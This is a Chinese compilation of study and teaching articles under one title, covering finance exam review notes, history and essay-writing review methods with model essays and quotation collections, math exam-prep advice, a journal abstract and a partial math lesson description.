巧用方法 精心复习

巧用方法 精心复习（共8篇）

1.巧用方法 精心复习 篇一

第一章 金融体系

1、直接融资 间接融资

1）直接融资：资金通过金融市场直接流向资金短缺部门优点：节约交易成本

缺点：要求投资者（资金融出单位）具有一定的金融投资专业知识和技能；投资者要承担较大风险；需要花费大量的收集信息、分析信息的时间和成本；资金供应双方难找到相应交易对手；通过金融市场融资的门槛较高

2）间接融资：资金短缺单位与盈余单位通过银行等金融中介机构发生间接的融资关系

优点：容易实现资金供求期限和数量的匹配（续短为长，集零为整）；有利于降低信息成本和合约成本；有利于通过分散化来降低风险

2、金融创新的种类

1）金融工具创新，包括时间衍生（远期、调期、期货、期权；有利于套期保值，降低和控制金融风险），功能衍生（增加企业财务杠杠灵活性，有利于进一步筹集资金），种类衍生（优先股、看跌期权），复合衍生（股票指数期货、期权）

2)金融机构创新 3）金融市场创新，包括新的市场种类的创新，市场组织形式和市场制度的创新 4）金融制度创新，包括货币制度、汇率制度、利率制度和金融机构的设立，金融市场的准入，金融业务监管等制度

第二章 货币和货币制度

1、货币演变

1）实物货币（高价值性、易于分割性、易于保存性、易于携带性；金、银）2）铸币（铜币、银币）3）代用货币（纸质、能随时与金属货币兑换）4）信用货币（纸币、辅币 两者统称通货、现金）；银行存款；可作为支付手段的信用工具，支票、信用卡）

2、货币层次

广义货币-狭义货币=准货币

3、币制定义及其存在形式

货币制度是指一国法律所确定的货币流通的组织形式与流通结构，即币制。分为金属货币制度（分为单本位制、复本位制）和不兑现的信用货币制度（不兑现的纸币流通制度）

1）确定货币金属并规定货币单位 2）规定本位币的铸造、发行和流通程序 3)规定辅币材料

及其铸造、流通 4）规定信用货币及纸币的流通和发行 5）确定国家的黄金准备制度

第三章 货币的时间价值

1、利率种类

1）市场利率（由货币资金供求决定，随市场供求变化而变化；不受非市场因素限制）管制利率（由政府管制部门等非市场因素决定；成为政府干预经济重要手段）

2）固定利率（借贷期内保持不变，适用于短期借贷）

浮动利率（借贷期内随市场利率变动定期调整的利率，适用于借贷期较长，市场利率波动波动较大的借贷关系）

3）名义利率（人们收到或支付的货币利率。是一定时点上未剔除通货膨胀影响的利率）实际利率（剔除通货膨胀影响后的利率）

2、货币时间价值含义

由于贷出货币具有收益（获得利息），持有货币具有成本（需要支付或损失利息），因此，在不同时间获得的货币其价值是不同的。现在获得的一定量的货币比未获得的等量具有更高价值，其可通过计算现金流的现值或终值来反映

第五章 金融资产的种类和特性

1、金融资产流动性

流动性指金融资产以最低成本最短时间变现的能力。当人们希望将其持有的流动性较差的金

融资产立即变现时，可能遭遇较大损失。货币资产具有很高的流动性。其他金融资产的流动性既取决于该资产被市场投资者接受的程度，也取决于该市场的厚度，市场厚度越厚，则金融资产流动性越强

2、金融资产种类

2)信用资产：票据、贷款、债券

3）权益资产：优先股、普通股

4）外汇资产：现钞、现汇

衍生工具：1）金融期货：股指期货、利率期货、外汇期货

2）金融期权：股票期权、利率期权、外汇期权

3)金融互换：股权互换、利率互换、货币互换

3、信用资产类型

1）商业票据：按承兑人不同：（金融性商业票据、非金融性商业票据）、银行承兑票据

2）银行票据（银行券）3）贷款4）债券：①国家债券：短期债券（国库券、有利息的钞票、金边债券；采用贴现发行）；中长期国债（固定利率）②公司债券(中长期债券居多，固定利率)③金融债券

4、商业票据融资特点

1）低成本，其发行成本通常低于银行的短期贷款成本2）灵活性3）有助于提高发行公司声誉

5、股票特性（优先股）

1）风险性与收益性；股东对公司经营决策的参与性；无期限性；可转让性；价格波动性；股份的对折与合并

2）优先股的股东享有比普通股股东优先获得股息的权利，不具有剩余索取权和公司经营决策参与权，其是居于普通股和债务工具之间的金融资产，同时具有权益资产和债务资产的特性

6、外汇含义

外汇是国际汇总的简称。动态外汇：指将一种货币兑换成另外一种货币的行为。静态外汇：以外国货币表示的金融资产（广义：泛指一切以外国货币表示的金融资产；狭义：以外币表示的，可用于国际间结算的支付手段）

7、金融衍生资产

特点：套期保值功能，高杠杆性，高风险性

1）金融期货：功能：价格发现功能，套期保值功能，投资功能

基本类型：外汇期货，利率期货，股票指数期货

2)金融期权：其标的物的交易价格称为敲定价格或约定价格。期权交易价格称为期权价格。分类：买权（看涨期权）、卖权（看跌期权）；欧式期权、美式期权

特性：很强时间性；金融期权买卖双方权利和义务的非对称性（期权期货根本区别）功能：避险功能，投资功能（高的杠杆率；低的风险性）

第九章 金融机构

1、金融机构功能

信用中介；分散投资风险；降低交易成本；提供支付结算便利；货币政策传导

2、金融机构分类

1）监督管理性金融机构：中央银行、银监会、保监会、证监会

2)政策性金融机构：国家开发银行、农业发展银行、进出口银行

3）商业性金融机构（国内金融机构、跨国金融机构）：

①存款型金融机构：商业银行、储蓄银行、信用社②投资型金融机构：财务公司、资本市

场共同基金、货币市场共同基金③契约型储蓄机构:保险公司、养老基金

4）国际金融机构：国际货币基金组织、世界银行、亚洲开发银行

3、商业银行业务

1）表内业务：负债业务：存款业务、借款业务、发行金融债券、筹集及补充资本金 资产业务：发放贷款、票据贴现、证券投资

2）表外业务

4、银行经营原则

盈利性原则、流动性原则、安全性原则

第十章 金融市场

1、金融市场主体、客体

1）主体：包括资金的余缺双方。金融中介机构和监管者（企业、个人、金融机构、政府部门）。追求利润和规避风险是金融主体的两大目的2）客体：即交易对象。通常是以具体金融工具的形式存在并被转让流通的金融资产

2、金融市场的功能、一级市场、二级市场

包括资金融通功能、风险管理功能、支付与清算功能、价格发现功能、财富积累功能、提供信息和解决激励问题、传递政策效应、推动经济一体化

1）一级市场：即初级市场，为新证券的发行、报销及认购场所。其基本功能是创新金融工

具，从而把资金从储蓄者直接转移到投资者，实现资金的余额调剂

① 公开发行（公募发行）：全额包销、余额包销、代销 ②非公开发行（私募发行）

2）二级市场：即次级市场，为金融资产的流通市场，是已发行证券转让交易的场所（二级市场的证券交易只改变证券的所有权，并不增加市场融资量，但它赋予证券流动性）

3、货币市场、资本市场

1）货币市场：是进行短期资金融通的市场，其交易工具通常是期限为一年及一年以内的票据和有价证券。其能以较低的成本促使经济中短期的过剩或赤字达到平衡

特点：①都是债券契约②收益低③期限短④安全性高⑤流动性高，交易工具具有准货币的性质⑥具有批发性特征，交易工具通常以大额方式发行

2）资本市场：即进行期限通常在一年以上的中长期有价证券交易的直接融资市场 特点：收益率高但流动性和安全性较差等特征，具有长期投资性质

4、货币市场的子货币市场

1）短期国库券市场2）同业拆借市场3）票据市场4）大额可转让定期存单市场5）回购协议市场

第十四章

1、货币需求及其影响因素

1）含义：是一种由货币需求能力与货币需求愿望而相互作用、相互决定的特殊需求（希望

得到持有﹢有能力得到持有）2）影响因素：①收入状况（与收入水平成正比。与取得收入的时间间隔的长短成正比）②信用发达程度（反比）③经济体制④市场利率（反比）⑤人们的预期和偏好

2、现金余额说的剑桥方程式

开创了从微观主体角度分析货币需求的先河①受个人财富总额的限制②受持有货币的机会成本的影响，也就是受货币意外各种资产的收益率的影响③货币持有者对未来收入、支出和物价的预期的影响

3、凯恩斯理论

1）流动性偏好：指人们宁愿持有流动性高但不能生利的现金和活期存款，而不愿持有股票

和债券等虽能生利但不易变现的资

2）交易性货币需求、预防性货币需求、投机性货币需求

4、弗里德曼的货币需求理论（现代货币数量论）

1）财富总额（提出了持久收入的概念来代表财富总额）

2）人力财富与非人力财富占财富总额的比例（人才财富占财富总额的比例越大，对货币需

求越大）

3）持有货币与其他资产的预期收益率（若非货币资产相对于货币资产的预期收益率上升，则货币需求减少；反之亦然）

4）其他因素（人们对货币的主观偏好，对未来经济稳定性的预期，各种技术和制度因素等）第十五章

货币供给原理、具体途径

货币供给是通过中央银行、商业银行的信贷活动形成的。从货币供给过程看，现金货币供给与存款货币供给是两个相互区别有相互联系的过程。以中央银行供给基础货币为起点，以商业银行的存款创造为中间环节，以非银行部门转移，结算货币为终点，形成一个复杂的货币供给系统

2.巧用方法 精心复习 篇二

一、比较异同法, 辨析历史问题

比较异同法, 即将性质相似或相同的历史事件加以比较, 然后分析它们的异同点, 从而加深知识理解与记忆。如都是资产阶级革命, 为何美国确立了民主共和制, 而英国确立的则是君主立宪制。这样, 利用对比, 不但能够揭示现象, 也可以帮助学生形成比较思维。在初中历史学习中, 常见的比较方法有如下几种:

首先是横向比较法。即对比同一时期同类事物在不同空间中展现出的具体形态的相同点与不同点。以空间观念入手, 比较不同国家、地域、民族的历史现象。如“欧美资产阶级革命”这一知识点的复习时, 可引导学生比较分析美国、英国、法国各自的资产阶级革命, 让他们多角度发现共性知识, 实现知识贯通。三者的爆发原因是相同的, 均是原有制度阻碍了资本主义的发展, 而三国的具体情况又各异。因此, 在革命性质上, 三国既有共性, 也有个性差异:三国革命的均为资产阶级革命, 而美国另外带有双重特点, 是民族解放性质上的资产阶级革命。在影响上, 三国革命也是相同的:对资本主义发展有很大促进作用, 也影响着其他国家革命。但三国革命的特点与意义是不同的。这样, 通过对比, 让学生更深刻而清晰地理解了欧美资产阶级革命, 从而取得更好的记忆效果。

其次是纵向比较法。即对比不同时期内同一事物的异同点。这是由时间观念切入, 比较历史发展中的各个时期的历史现象, 亦或对比同一历史事件的不同发展层次。如在19世纪中后期, 面对西方殖民入侵、列强侵略, 亚洲各国如中国、日本、印度等国作出了不同的反应, 采取了不同的措施, 得到不同的结果。中国进入到半殖民地半封建社会, 印度则沦为了殖民地, 而日本在明治维新之后则走上资本主义道路, 同时也变成亚洲强国。这样, 通过比较, 学生可以认识到不同历史背景下同一现象的发展是有差别的。

二、集中归类法, 提高复习效率

集中归类法主要指把相近、相同性质的历史知识, 根据一定的规律与顺序展开归类, 进行集中归类, 而后各个击破, 进行分类记忆。例如:复习科学文化方面的历史知识, 教师可引导学生将书本中包含了科学文化名人以及他们的相关发明贡献成果展开集中归类。如文化方面的历史知识, 可分成艺术类与文学类, 更具体而言, 则可划分成音乐类、绘画类、诗歌类、小说类、发明创造类、医学类等;科学方面的知识, 则可划分成社会科学类与自然科学类两种形式。再如:复习中国古代历史中的相关改革变法时, 教师可引导学生将与改革变法相关的全部历史知识, 根据先后年代、朝代历史发展顺序, 以表格形式体现出来, 将这些知识集中归类。在这一表格中, 其内容主要包含了如下方面:事件发生的朝代、事件时间、主要人物、变法或改革内容、改革变法的意义与影响等。这样, 通过集中归类, 能够将零散的、杂乱的知识系统化、整体化, 从而在复习时更加清晰明白, 避免出现张冠李戴现象, 从而极大地提高历史复习与学习效率。

三、“浓缩”法, 把握知识要点

“浓缩”法, 即将繁杂的历史知识进行浓缩概括, 从中提炼出知识要点, 以帮助学生把握知识重点。同时, 若拓展要点, 则又能够展现知识的原来面貌。例如:复习“第一次世界大战”这一知识点时, 教师指导学生浓缩知识, 概括其要点:

(1) 事件背景。 (1) 根本原因:帝国主义政治经济发展不平衡, 后起的帝国主义国家要求重新瓜分世界, 矛盾复杂, 斗争激烈。 (2) 具体原因:三国协约与三国同盟两大军事集团形成。 (3) 直接原因:萨拉热窝事件的发生。

(2) 事件时间。发生于1914年8月至1918年11月。

(3) 事件经过。 (1) 三条战线:南线、西线、东线。 (2) 五大战役:日德兰海战、索姆河战役、凡尔登战役、马祖尔湖战役、马恩河战役。

(4) 性质与后果。这是一场非正义的帝国主义掠夺战争。这一战争给参战国的人民带来了巨大灾难, 建立了世界上第一个社会主义国家, 世界格局发生了改变。

四、口诀法, 增强知识记忆率

3.巧用方法 精心复习 篇三

在语言表达上，文从字顺是作文的基本要求，文采斐然、个性鲜明是我们的更高追求。《语文课程标准》提出，“能具体明确、文从字顺地表述自己的意思”，“力求有创意地表达”。中考作文评分标准规定，一类作文的基础等级是“通顺、流畅、得体”，发展等级是“语言有文采”或“表达有特色”。“有文采”包括四个方面：用词丰富生动，句式灵活，善用修辞，文句有意蕴。

技法荟萃

一、锤炼语句，写出文采

话要一句一句地说，文章得一句一句地写。每个句子写好了，就为写好整篇文章奠定了良好的基础。

1.要学会变笼统为具体

具体是一种美，运用语言水平的高低，在很大程度上就是看能不能写具体。

但在同学们的作文中，却经常出现一些笼统的、表达平平的语言。比如写“静”，我们说“这里很静”，语言就是笼统的、抽象的。如改为“这里很静，只听见笔和纸摩擦的沙沙声”，这样写就具体些了。

具体到事物可闻可睹可摸可感，而且是新鲜的闻、睹、摸、感，语言的美感也就产生了。

2.化叙述为描写

在写作中将叙述转化为描写，将抽象转化为具体，将情感转化为物景，都能使语言更富文采。请看下面的叙述句：

我和好朋友吵架了，他不再理我，我心里非常难过。但是为了尊严，我也忍着一直不去理他。

这种粗略概述在考场作文中颇具代表性。怎么吵架?心里怎么难过?大家互不理睬的情形有多折磨人?光叙述，没有描写，语言显得苍白无力。

改为描写句：

我和好朋友吵开了，虽不是仇人，却怎么眼红了呢?是因为我们为了星期天干什么这点小事，一句句地你来我往，却每一句都准确地直戳入对方的心脏。吵完后我斜眼瞅着他，却只见他发了一会愣，然后抓起文具盒，猛地砸向地面--“啪”!吓得全班都静默了三分钟。此后，我们就成了陌路人。

可每一处的林林总总，都曾留下过深深的记忆啊，却要处处回避着;明明有些只有彼此才懂的“暗语”想要说出口，却要忍着像从来就没有过这样的默契……唉!我长长地叹了一口气!心里一万次地懊悔冲突爆发的那一刻自己怎么就没有再忍一忍呢?个性和友情相比，有这么重要吗?唉!不知道他心里是不是也和我一样难过呢……

改动后以心理描写为主，动作描写为辅，写出了好朋友吵架的情形，刻画入木三分。

3.把句子写深刻

“世事洞明皆学问，人情练达即文章”，要把句子写得深刻，就得以语文修养和生活阅历作为基础。生活的积淀越厚实，鲜活的语言便容易喷发出深刻的思想和丰厚的意蕴。请看下面中考经典例子：

这件事情已经过去几年，但是想起来我就充满感慨：泰山不让土壤，故能成其大;河海不择细流，故能成其深。我们只要拥有一颗宽容的心，厚德载物，雅量容人，宽容处事，人生就会更精彩!

(满分作文《那一次我真的很棒》)

小作者引用古文、成语，增强论据的厚度和论点的深度，将“宽容”之于人生的意义揭示得十分透彻，读罢全文，给人以很大的启示。

二、善于运用修辞手法

1.巧用比喻，生动形象

比喻有助于说理和描写，精彩的比喻能化腐朽为神奇，为文章增色，令人过目难忘。

如：理想信念可以指引我们找到奋斗的方向，而太阳、启明星、指南针、灯塔等也是具有方向性的事物，所以，“都具有方向性”就是理想信念和太阳等事物之间的相似点，就有了这样的比喻：

理想是人生的灯塔，它为我们的生活指明了方向。

理想是人生的启明星，一直引导着我们向前去。

2.善用排比，强化气势

排比是一种富于表现力的修辞手法，把结构相同或相似，语气一致，意思密切关联的句子排列起来。使用排比句可以使文章内容条理清晰，语言富有气势。

排比的句子包含三项或三项以上的相关内容，它们的关系是并列或递进的。一般情况下，各部分又常用共同或相近的提示语。

如：爱心(本体)是一片照射在冬日的阳光(喻体一)，使贫病交迫的人感到人间的温暖;爱心是一泓出现在沙漠里的泉水(喻体二)，使濒临绝境的人重新看到生活的希望;爱心是一首飘荡在夜空的歌谣(喻体三)，使孤苦无依的人获得心灵的慰藉。(以上三个喻体是并列关系)

三、引用名言，增添文采

古今作家都十分重视引用。有人总结引用的作用时，曾这样说：“可以用来写情，可以用来言志，可以充实内容，可以突出主题，可以增强文章的表达效果，可以使读者从中受到感染，得到启迪，从中开阔视野，丰富知识，增长见闻，陶冶情趣。”一句话，可以起到开拓与深化，突出与升华，锦上添花之妙用。

在文中恰到好处地引用名言警句，为文章增添色彩，无疑能使得分的档次明显提高。

如：“虚心使人进步，骄傲使人落后”，我们应该记住这一真理。

四、巧用幽默，风趣睿智

风趣幽默的人到哪儿都受欢迎，风趣幽默的语言代表着一种智慧。作文中适当地风趣幽默一下，“灵动”气韵的同时，还闪耀智慧，可说是非常难得的。这会为自己的作文加分。

风趣幽默的语言，常常将大词小用、庄词谐用以及时空错位、移花接木等方式巧组妙合，给人以无穷的艺术享受。诙谐而不失庄重，搞笑而暗藏机智，能让人在轻松愉快中受感染，在潜移默化时生共鸣。只要场合适当，不失时机地幽上一默，必然会给文章增色不少。如：

原文：一早起床，我到处找袜子，结果发现在鞋子里面。

改文：一早起床，我到处找袜子，结果发现鞋子私藏了袜子。(运用拟人，将找不到袜子的责任推给鞋子，含有点责怪自己粗心的自嘲味道。)

【佳作欣赏】

阅读，曾让我感动

独倚轩窗，窗外细雨纷纷，品一杯香茗，亮一盏小灯，拥一本好书，任泪水涌出了眼眶。

无云时借两缕阳光暖暖身子，有雨时对着雨儿倾诉心肠。闲暇时静坐读书，在书中感悟古今中外的悲喜人生，一次又一次地陷入跌宕起伏的情感漩涡，一次又一次地被阅读感动。

我曾被唐诗宋词中文人的大情怀所感动过。我仿佛看到范希文在岳阳楼上悲壮地呼喊着“先天下之忧而忧，后天下之乐而乐”，聆听杜子美“安得广厦千万间，大庇天下寒士俱欢颜，吾庐独破受冻死亦足”赤诚吟哦。是啊，帝王昏庸，官场黑暗，灯红酒绿，醉生梦死。多少有志之士沉迷在温柔乡忘了社稷江山黎民百姓，雄心壮志一点一点被西湖歌舞销蚀，追名逐利最终害了自己苦了百姓。红尘世俗莫不如此，就连当年“气吞万里如虎”的辛弃疾也慨叹“阑干拍遍，无人会登临意”;就连在朝堂之上让贵妃磨砚，力士脱靴，“仰天大笑出门去，我辈岂是蓬蒿人”的李白也游山玩水去也。满身正气怎能在官场上污了自己?盛唐也罢大宋也好，是杜拾遗、范文正公们，酿一坛烈酒，留后人畅饮;播一份正义，嘱咐岁月收藏。

我也曾被元曲杂剧中的男女痴情所感动。她是大府千金小姐，他是十年寒窗穷书生，她女扮男装入学府对他倾心，无奈他太过愚钝不知她是女郎，两人的情愫，感天动地，她是祝英台，他是梁山伯，他许她一个承诺，生生世世，他还她个化蝶，缠缠绵绵，比翼双飞。这样的爱情，被珍藏在书中，吟诵其中的一字一句，像一杯清茶，时久弥香，永世不忘。

又何人让我潸然泪下?《史记》中的苏武!北海牧羊十九载，汉家天子早已换人，可你依旧拿着那根代表朝廷的旌节眺望远方，痴痴地等，痴痴地盼，守候一份忠义气节，你足以让我感动!

我细细地咀嚼文字，细数阅读带给我的感动。嗅着袅袅不绝的书香，让感动流过每一条血脉，打开心扉，让感动静静地在心中荡漾，把泛起点点的涟漪，永久珍藏。

日记里留下如下诗句：昨夜寒窗月下，浅斟慢吟品茶，一帘清雨悬挂，书香漫卷泪花。

【亮点扫描】

考生文学素材积累丰富，诗词名句、历史故事，信手拈来，随心所欲。把自己的思想情感渗透在历史人物、历史事件中，考生在阅读中诉说着自己的感动。

开篇颇具画面感的语言引起下文，结尾诗句深化了自己的感动，升华了文章主题。

考场作文常用素材集锦

一、学习、阅读

☆名人名言

1.人的知识愈广，人的本身也愈臻完善。(高尔基)

2.立身以立学为先，立学以读书为本。(欧阳修)

3.鸟欲高飞先振翅，人求上进先读书。(李苦禅)

4.书痴者文必工，艺痴者技必良。(蒲松龄)

5.阅读的最大理由是摆脱平庸，早一天就多一份人生的精彩，迟一天就多一天平庸的困扰。(余秋雨)

☆典型事例

闻一多醉书

闻一多结婚当天，亲朋好友都来登门贺喜，直到迎亲的花轿快到家时，还不见新郎的身影。大家东寻西找，结果在书房里找到了闻一多，他仍旧穿着旧袍，“陶醉”在书中。

毛泽东批书

毛泽东酷爱读书，每读一本书，都在重要的地方画上圈、杠、点等各种符号，在书眉和空白的地方写上许多批语，有时还把书中精当的地方摘录下来或随时写下读书笔记或心得体会，因此他的藏书中，大多是朱墨纷呈，批语、圈点、勾画满书。

☆名家片段

从前人说，读书要注意字里行间，又说读诗要得其“弦外音，味外味”。这都是说要在文字以外体会它的精神实质。这就是知其意。司马迁说：“好学深思之士，心知其意。”意离不开语言文字，但有些是文字所不能完全表达出来的。如果局限于语言文字，死抓住语言文字不放，那就成为死读书了。死读书的人就是书呆子。语言文字是帮助了解书的意思的拐棍。既然知道了那个意思以后，最好扔了拐棍。这就是古人所说的“得意忘言”。在人与人的关系中，过河拆桥是不道德的事。但是，在读书中，就是要“过河拆桥”。

(选自冯友兰《读书就是要“过河拆桥”》)

二、心灵的坚守

☆名人名言

1.人首先应当遵从的，不是别人的意见，而是自己的良心。(普京)

2.人的一生可能燃烧也可能腐朽，我不能腐朽，我愿意燃烧起来。(奥斯特洛夫斯基)

3.对于人际关系，我逐渐总结出了一个最合乎我性情的原则，就是互相尊重，亲疏随缘。我相信，一切好的友谊都是自然而然形成的，不是刻意求得的。我还认为，再好的朋友也应该有距离，太热闹的友谊往往是空洞无物的。(周国平)

☆典型事例

2015年诺贝尔和平奖10月9日揭晓，由“突尼斯全国对话大会”夺得。诺贝尔委员会赞扬其在“阿拉伯之春”后，在建立多元民主方面作出了决定性的贡献。

挪威诺贝尔委员会表示，突尼斯一度由于社会**和政治暗杀而濒临崩盘。“突尼斯全国对话大会”在国家处于战争边缘的时刻，创立了替代性的和平政治进程，避免国家陷入内战。

诺贝尔委员会还表示，“突尼斯全国对话大会”做出的努力，推动突尼斯建立起宪政体制，确保了全体人民的基本人权，不分性别、政治信仰或宗教信仰;希望诺贝尔和平奖可以鼓励突尼斯人民，一如既往地追寻全国团结。

☆名家片段

我敬佩那些在危急时刻抛却自身安全，奋勇地冲向危难的勇士。这不仅是道德和情操的高尚，更是人战胜自己天性的壮举。

比如消防人员扑向火海，比如救护人员攀登危楼……无论对职业人员还是对见义勇为的普通公民，我相信，在那一瞬，都有生命本能的召唤和人生价值的实现碰撞的火花。

如果为了一己的安全，自然是远离危险。我们的每一根头发，每一滴血液都会命令我们这样做。人类的进化使得躲避危险、寻觅安全成了几乎与生俱来的能力。但是，为了他人的安全，为了崇高的职责，为了追求和理想，为了一种凌越本能的超拔，他们躲避安全、寻觅危险……

这样的人，就达到了人的自我实现的顶峰，他们找到了本能之上的高贵的尊严。

(选自毕淑敏《寻觅危险》)

三、自然风景

☆名人名言

1.成功的花，人们只惊羡她现时的明艳!然而当初她的芽儿，浸透了奋斗的泪泉，洒遍了牺牲的血雨。

(冰心)

2.江海不与坎井争其清，雷霆不与蛙蚓斗其声。

(刘基)

3.自然是陶冶心胸的伟大学校!(贝多芬)

4.大自然充满了一种使人心平气和的美与力。(列夫托尔斯泰)

☆典型事例

深情的岩鹰

岩鹰有着凶猛、机智、果敢、忠诚的特性，具有很强的家庭观念，若配偶一方死去，另一方也会为对方不惜生命而殉情离开世界。从岩鹰的身上，可以看到一种人性的光芒，这就是爱。岩鹰的爱，也许能让我们从中得到人性的启发。

☆佳作片段

夏草

喜欢看盛夏里的草长莺飞，小草在炽热的阳光的爱抚下，将生命里所有的美丽一齐释放。无边无际的绿色原野，把各色怒放的花朵衬托得娇艳欲滴，蓝天在视野里也变低了，似乎弯了腰屈尊来与小草亲近。

这个时间里的小草是最硕大最柔软的新床，诱惑着我们把身躯无比舒坦地交给她们，没有了焦虑，没有了烦恼，在青草的簇拥下，做一个最轻松的美梦。

四、挚爱亲情

☆名人名言

1.爱亲者，不敢恶于人;敬亲者，不敢慢于人。

(《孝经天子》)

2.谁言寸草心，报得三春晖。

(孟郊)

3.世界上有一种最美的声音，那就是母爱的呼唤。

(但丁)

4.慈母的胳膊是慈爱构成的，孩子睡在里面怎能不甜?

(雨果)

☆典型事例

1.在江西的一个普通的农民家庭里，为了挽救罹患尿毒症的小弟，四个哥姐争相为小弟捐贤。最终三姐和小弟配型成功。最终在山海中山医院手术室，医生们成功从三姐肖桂秀的体内取下她的左肾，并将这颗肾脏成功植入弟弟肖友军身上。

2.朱晓辉，女，黑龙江绥芬河市民。朱晓辉的父亲在2002年患弥漫性脑梗死，从此瘫痪在床。为了更好地照顾父亲，朱晓辉辞掉了在报社的工作。为了给父亲治病，她不但卖了房子，还欠下一身债务。因为不堪重负，朱晓辉的丈夫带着孩子离开了她。朱氏父女在社区的车库里安了家，一住就是12年。

☆名家片段

妈妈，这次您真的要走了吗?乡下有些小路，只有您和我两人走过，您不在了，小路也湮灭了;童年的有些故事，只有您和我两人记得，您不在了，我的文字也就断流了。

(选自余秋雨《一生最大的勇敢都来自母亲》)

五、人生感悟

☆名人名言

1.人的一生应当这样度过：当你回忆往事的时候，不会因虚度年华而悔恨，也不会因碌碌无为而羞愧;在临死的时候，他就能够说：我的整个生命和全部精力，都已经献给了世界上最壮丽的事业--为人类的解放而斗争。

(奥斯特洛夫斯基)

2.努力学习，勤奋工作，让青春更加光彩。

(王光美)

3.人生有两出悲剧，一是万念俱灰，另一是踌躇满志。

(萧伯纳)

4.现实是此岸，理想是彼岸，中间隔着湍急的河流，行动则是架在河上的桥梁。

(克雷洛夫)

5.人的价值是由自己决定的。

(卢梭)

☆典型事例

法国一个偏僻的小镇，据传有一个特别灵验的水泉，常会出现神迹，可以医治各种疾病。有一天，一个拄着拐杖，少了一条腿的退伍军人，一跛一跛的走过镇上的马路。旁边的镇民带着同情的回吻说：“可怜的家伙，难道他要向上帝请求再有一条腿吗?”这一句话被退伍军人听到了，他转过身对他们说：“我不是要向上帝请求有一条新的腿，而是要请求他帮助我，教我没有一条腿后，也知道如何过日子。”

学习为所失去的感恩，也接纳失去的事实，不管人生的得与失，总是要让自己的生命充满了亮丽与光彩，不再为过去掉泪，努力的活出自己的生命。

☆佳作片段

“你一会儿怎么去学校?你的车子坏了。要不然我送你吧。”父亲说。我怔怔地点了点头。坐在父亲车子的后座，我紧紧地抓着他的衣角。恍惚中想起了小时候，我也是这样坐在父亲的后座，身子紧贴着父亲的后背，耳边传来呼呼的风声，我眯着眼睛贪婪地吮吸着父亲身上的温暖。

“抓紧了。”父亲温厚的声音打断了我的思绪。我看着父亲蹬车子吃力的样子，心里很不是滋味。是啊，父亲老了，连骑车都开始费力了。

“爸，就到这儿吧，还有一段路我自己走。”在一个大坡前我阻止了父亲继续前进。“哦，好吧。你慢点啊。小心车，我先回去了。”父亲说完便转头走了。

看着父亲远去的背影，我轻声地哼起了那首流行歌曲：“时间都去哪了/还没好好感受年轻就老了/生儿养女一辈子……”

在时光的年轮中，父亲把最美好的青春给了我，却无声地承担起一切，而我一直在悄然享受，有时是那样的无动于衷。

(选自学生佳作《时间都去哪了》)

六、美丽青春

☆名人名言

1.青春是有限的，智慧是无穷的，趁短的青春，去学习无穷的智慧。

(高尔基)

2.少年像一个快乐的王子，他不问天多高，也不知人间尚有烦恼，一心只想摘下天上的明星，铺一条光辉灿烂的大道。

(拜尔)

3.青春须早为，岂能长少年。

(孟郊)

4.一个人有无成就，决定于他青年时期是不是有志气。

(谢觉哉)

☆典型事例

范仲淹从小家境贫寒，为了读书，他省吃俭用，不接受富家子弟的馈赠，以磨砺自己的意志。经过刻苦攻读，他终于成了伟大的文学家。

二十五岁时，毛泽东全力投入《湘江评论》的编辑工作。酷暑时节，蚊叮虫咬，一般人不胜其苦。而毛泽东总是挥汗疾书，常至夜半。

☆名家片段

长大了，经历了许多事，我曾经一次次被路途上的风沙打哭过。但是，孩提时，母亲对我说的话一次次在我耳旁回响：坚持走下去，无论路途上遇到多么大的风险，你都要毫不气馁，才会看到秀丽的景色和满园春色。

(选自李良旭《人生的行走》)

4.考研数学复习巧用题海战术 篇四

一、考生应该针对复习的内容，注重基础，多练习一些基本题，不要死钻一些偏题及怪题。有选择性的做些巩固知识点的题目，这样才能让知识得到更深入的理解和掌握，才能真正消化吸收成为自己的知识，也才会具有独立的解题能力。教材每章每节的后面都有配套习题，在基础阶段复习时要认真做一遍，除了做课后习题外在基础阶段还应做一些考研基础过关之类的题目，这些题难度与考研真题难度基本相当，可以利用这些题目检查你复习过程中对知识点的综合运用能力，所以如果只看课本，在综合能力上要受一些影响。

二、大部分考生喜欢做完题就对答案然后这道题就结束了，也不做认真的分析，这是做题的大忌，一道题的.价值远不止于此。在此建议考生在对完答案纠正完错误之后，再把这道试题从头看一遍，认真总结一下这道题在什么地方出错了，原因是什么，这道题中有没有出现你不知道的新的方法、思路，新推导出的定理、公式等，并把这些有用的知识全都写到你的错题本上，以便随时查看和重点记忆。对于大题的解题方法，要仔细想一想，都涉及到哪些科目和章节了，这些知识点之间有哪些联系等，从而使自己所掌握的知识系统化，以达到融会贯通。只有这样，才能使你做过的题目实现其最大的价值，也才算是你真正做懂了一道题。

三、题目的选择上，要尽量摄取广泛一些，时间充足的话各个名师的模拟题、复习题等都涉及一些。这是因为，每个人的出题思路不一样，重点偏向及难易程度也不一样，做不同人编的题，有助于题型的广泛摄取和把握，只有题型见得多了，思路才能拓展开，而且各种难度的题目也都尝试过了，见到考试卷时才不会有太多措手不及的感觉。

5.巧用教学方法,激发创新思维 篇五

本文针对如何巧用教学方法,激发创新思维这一问题,着重从四个方面进行论述:寓教学于审美之中,引发创新灵感;激发好奇而质疑.促进创新思维;培养讨论习惯,触发创新思维;变换思维方法,激发创新思维.

作 者：黄国刚  作者单位：吴江市横扇中学,江苏,吴江,215224 刊 名：考试周刊 英文刊名：KAOSHI ZHOUKAN 年，卷(期)： “”(7) 分类号：G63 关键词：数学教学   创新思维   培养  

6.巧用方法 精心复习 篇六

1. 两种教学过程简述

1.1 教学过程简述一

环节一:判断下列哪些是一元一次方程?(略)

环节二:填空:①(略);②若mxy+9x+3yn-1=7是关于x、y的二元一次方程,m+n=___.

(教师A先后复习了一元(二元)一次方程的概念及解方程,其中,教师A在纠正学生练习2的第2、3两题错误用时过多;学生在环节二的第2题遇到了思维障碍,在几次引导失败后教师A不得不自己回答,但学生还是一脸茫然.)

例3(略).变式1、2(略).

(教师A将解三元一次方程组的基本思路叙述了一遍后便在黑板上详细地书写出过程,此时已临近下课,于是让学生课后完成练习5,一下子呈现例3及其两个变式问题,教师A没有让学生思考便讲解起来,不一会儿铃声就响了,笔者发现大多数学生一脸茫然……)

1.2 教学过程简述二

环节一:教师B依次出示问题:

1.如果方程x3m-2-4=0是一元一次方程,则m=%%%%.

2. 若2xm-1-3yn+3+5=0是关于x、y的二元一次方程,则m=____,n=_____.

3.当x=_______时,代数式4x+2与3x-9的值互为相反数.

4.已知关于x的方程2x+a-9=0的解是x=2,则a的值为(%%)

